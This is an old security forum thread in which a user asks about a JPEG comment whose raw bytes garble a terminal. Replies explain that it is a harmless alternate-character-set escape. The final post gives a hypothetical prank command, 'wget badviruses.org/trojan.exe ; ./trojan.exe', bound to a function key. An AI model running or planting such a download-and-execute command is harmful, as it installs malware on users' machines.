Strange comment in jpg file - Security

This is a discussion on Strange comment in jpg file - Security ; A friend emailed me an image (of a drawing of a bus, but I dont' think it matters) that, when I view it with xli, throws my gnome terminal into a mode in which spaces, boxes, and funny symbols appear ...

+ Reply to Thread
Results 1 to 3 of 3

Thread: Strange comment in jpg file

  1. Strange comment in jpg file

    A friend emailed me an image (of a drawing of a bus, but
    I dont' think it matters) that, when I view it with xli,
    throws my gnome terminal into a mode in which spaces, boxes,
    and funny symbols appear to have been substituted for the
    familiar letters and digits. Typing "reset" appears to
    restore normalcy.

    The rdjpgcom utility reports that the jpeg image contains
    the following 256-character comment:

    \240TQ\010\001\000\000\000\016\000\000\000\000\000 \000\000
    \000\000\000\000\000\000\000\000\254\001\000\000\0 36\000
    \000\000\005\000\000\000\000\000\000\000\247\001\0 00\000
    \001\000\000\000\003\000\000\000\001\000\000\000\2 51\001
    \000\000\002\000\000\000\002\000\000\000\002\000\0 00\000
    \252\001\000\000\003\000\000\000\001\000\000\000\0 03\000
    \000\000\253\001\000\000\004\000\000\000\001\000\0 00\000
    \004\000\000\000\011\000\000\000\005\000\000\000\2 43\001
    \000\000\004\000\000\000\253\001\000\000\005\000\0 00\000
    \000\000\000\000\005\000\000\000\007\000\000\000\0 06\000
    \000\000\245\001\000\000\005\000\000\000\254\001\0 00\000
    \006\000\000\000\000\000\000\000\006\000\000\000\0 06\000
    \000\000\007\000\000\000\246\001\000\000\006\000\0 00\000
    \254\001\000\000\007\000\000\000\000\000\000\000\0 07\000
    \000\000\005\000\000\000\011\000\000\000\247\001\0 00\000
    \007\000\000\000\254\001\000\000\011\000\000\000\0 00\000
    \000\000\011\000\000\000\004\000\000\000\036\000\0 00\000
    \250\001\000\000\011\000\000\000\254\001\000\000\0 36\000
    \000\000

    I'm pretty sure it's the comment that affects GNOME Terminal,
    because if I redirect xli's output into temp.txt, the image
    is displayed without ill effects, but subsequently displaying
    temp.txt makes GNOME Terminal weird.

    Is this something malicious?

    --
    To email me, substitute nowhere->spamcop, invalid->net.

  2. Re: Strange comment in jpg file

    Peter Pearson wrote:
    > A friend emailed me an image (of a drawing of a bus, but
    > I dont' think it matters) that, when I view it with xli,
    > throws my gnome terminal into a mode in which spaces, boxes,
    > and funny symbols appear to have been substituted for the
    > familiar letters and digits. Typing "reset" appears to
    > restore normalcy.
    >
    > The rdjpgcom utility reports that the jpeg image contains
    > the following 256-character comment:
    >
    > \240TQ\010\001\000\000\000\016\000\000\000\000\000 \000\000
    > \000\000\000\000\000\000\000\000\254\001\000\000\0 36\000
    > \000\000\005\000\000\000\000\000\000\000\247\001\0 00\000
    > \001\000\000\000\003\000\000\000\001\000\000\000\2 51\001
    > \000\000\002\000\000\000\002\000\000\000\002\000\0 00\000
    > \252\001\000\000\003\000\000\000\001\000\000\000\0 03\000
    > \000\000\253\001\000\000\004\000\000\000\001\000\0 00\000
    > \004\000\000\000\011\000\000\000\005\000\000\000\2 43\001
    > \000\000\004\000\000\000\253\001\000\000\005\000\0 00\000
    > \000\000\000\000\005\000\000\000\007\000\000\000\0 06\000
    > \000\000\245\001\000\000\005\000\000\000\254\001\0 00\000
    > \006\000\000\000\000\000\000\000\006\000\000\000\0 06\000
    > \000\000\007\000\000\000\246\001\000\000\006\000\0 00\000
    > \254\001\000\000\007\000\000\000\000\000\000\000\0 07\000
    > \000\000\005\000\000\000\011\000\000\000\247\001\0 00\000
    > \007\000\000\000\254\001\000\000\011\000\000\000\0 00\000
    > \000\000\011\000\000\000\004\000\000\000\036\000\0 00\000
    > \250\001\000\000\011\000\000\000\254\001\000\000\0 36\000
    > \000\000
    >
    > I'm pretty sure it's the comment that affects GNOME Terminal,
    > because if I redirect xli's output into temp.txt, the image
    > is displayed without ill effects, but subsequently displaying
    > temp.txt makes GNOME Terminal weird.
    >
    > Is this something malicious?
    >


    I'm pretty sure it's harmless. Binary data displayed in a
    console/terminal will usually always cause junk to be displayed,
    including beeps. I would redirect the output or find another utility
    that would serve the same purpose but without the side effect.

  3. Re: Strange comment in jpg file

    On Fri, 17 Nov 2006 09:04:35 GMT, Some Dude wrote:
    > Peter Pearson wrote:
    >> A friend emailed me an image (of a drawing of a bus, but
    >> I dont' think it matters) that, when I view it with xli,
    >> throws my gnome terminal into a mode in which spaces, boxes,
    >> and funny symbols appear to have been substituted for the
    >> familiar letters and digits. Typing "reset" appears to
    >> restore normalcy.
    >>
    >> The rdjpgcom utility reports that the jpeg image contains
    >> the following 256-character comment:
    >>
    >> \240TQ\010\001\000\000\000\016\000\000\000\000\000 \000\000
    >> \000\000\000\000\000\000\000\000\254\001\000\000\0 36\000

    [snip]
    >>
    >> Is this something malicious?
    >>

    >
    > I'm pretty sure it's harmless. Binary data displayed in a
    > console/terminal will usually always cause junk to be displayed,
    > including beeps. I would redirect the output or find another utility
    > that would serve the same purpose but without the side effect.


    Thanks. As it turns out, the \016 character selects an "alternate
    character set" in the VT220 world, which is pretty harmless, aside
    from making the screen look like chicken-scratching.

    I was more concerned about mischief along the lines of the
    pranks we used to play in the days when a VT220 was something
    you bought, rather than emulated. I don't remember a lot of
    specifics, but as a modern example, you might reprogram the
    victim's function keys so that the next time he hits F6 it's
    as if he typed "wget badviruses.org/trojan.exe ; ./trojan.exe".


    --
    To email me, substitute nowhere->spamcop, invalid->net.

+ Reply to Thread